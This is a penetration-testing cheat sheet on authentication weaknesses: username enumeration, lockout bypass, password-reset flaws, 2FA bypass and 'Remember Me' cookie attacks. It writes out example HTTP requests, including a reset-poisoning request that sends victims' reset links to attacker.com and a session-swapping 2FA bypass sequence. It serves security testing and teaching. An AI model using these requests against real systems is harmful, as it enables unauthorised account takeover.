Authentication
Username Enumeration
Finding valid usernames is the first step in many attacks. Test every feature interacting with user accounts (e.g., login, registration, password recovery).
Default usernames to test:
admin
administrator
root
firstname.lastname@somecompany.com
test
guest
Registration Form
If the application states “Account already exists” when registering a known email, it leaks user existence.
Response Comparison
Compare server responses when entering:
- A valid username with incorrect passwords
- An invalid username with incorrect passwords
Even minor differences in error messages can reveal valid usernames.
Tip
Use Burp Suite’s “Grep - Match” feature in Intruder to detect response variations.Response Timing Analysis
Some systems check passwords only if the username is valid. Sending an excessively long password may create a delay, indicating the username exists.
Password Attacks
Cracking passwords is a key part of authentication testing.
Account Locking Mechanisms
Check if accounts lock after multiple failed attempts (e.g., 3 or 5 attempts). Understand the lockout mechanism:
- Testing Responses: Attempt logins with an incorrect password on a locked account, then with the correct password. If responses differ, the lock might be bypassable.
- IP-Based Lockout:
- Try to see if the failed attempts counter resets if the IP owner logs in successfully. (Make sure that concurrent requests is set to 1)
- Try bypassing by adding the
X-Forwarded-For
header.
Password Reset Vulnerabilities
Controlling the Username Parameter
If the reset request contains a username
parameter, test if it can be changed:
POST /forgot-password HTTP/2
Host: vulnerable-website.com
user=<victim>&new-pwd=NewPass123&token=xyz
Predictable Password Reset URLs
Some sites use static or weakly random reset links. Test if a simple enumeration allows taking over accounts.
http://vulnerable-website.com/reset-password?user=victim-user
Analyze Randomness
Use Burp Sequencer to analyze the quality of randomness of the token.
Hijacking Password Reset Links
Try injecting an X-Forwarded-Host
header to change the reset link destination:
POST /forgot-password HTTP/2
Host: vulnerable-website.com
X-Forwarded-Host: attacker.com
username=victim
Two-Factor Authentication (2FA) Bypasses
Brute-Forcing OTP
If the OTP code is short (e.g., 4-6 digits), brute-force it.
Skipping 2FA Steps
Check if you can directly access logged-in pages without completing 2FA.
Exploiting 2FA Logic Flaws
# Step 1: Login with attacker account
POST /login HTTP/1.1
Host: vulnerable-website.com
username=attacker&password=qwerty
# Step 2: Server sets a session cookie
HTTP/1.1 200 OK
Set-Cookie: session=attacker
# Step 3: Request 2FA page with attacker's session
GET /login-steps/second HTTP/1.1
Cookie: session=attacker
# Step 4: Submit the attacker's OTP using the victim's session
POST /login-steps/second HTTP/1.1
Host: vulnerable-website.com
Cookie: session=victim
verification-code=123456
“Remember Me” Cookie Attacks
- Study how “Remember Me” cookies are generated (e.g., Base64 encoding or hashed values).
- Attempt brute-forcing attack.
Password change
See if you can change the password of an arbitrary user.
- Look for a hidden username parameter that you can control.
- Brute-force password when you enter your current password.
- Test all current & new password combinations.
current password: <wrong>, new-password-1=XXX, new-password-2=XXX
current password: <wrong>, new-password-1=XXX, new-password-2=YYY
current password: <correct>, new-password-1=XXX, new-password-2=XXX
current password: <correct>, new-password-1=XXX, new-password-2=YYY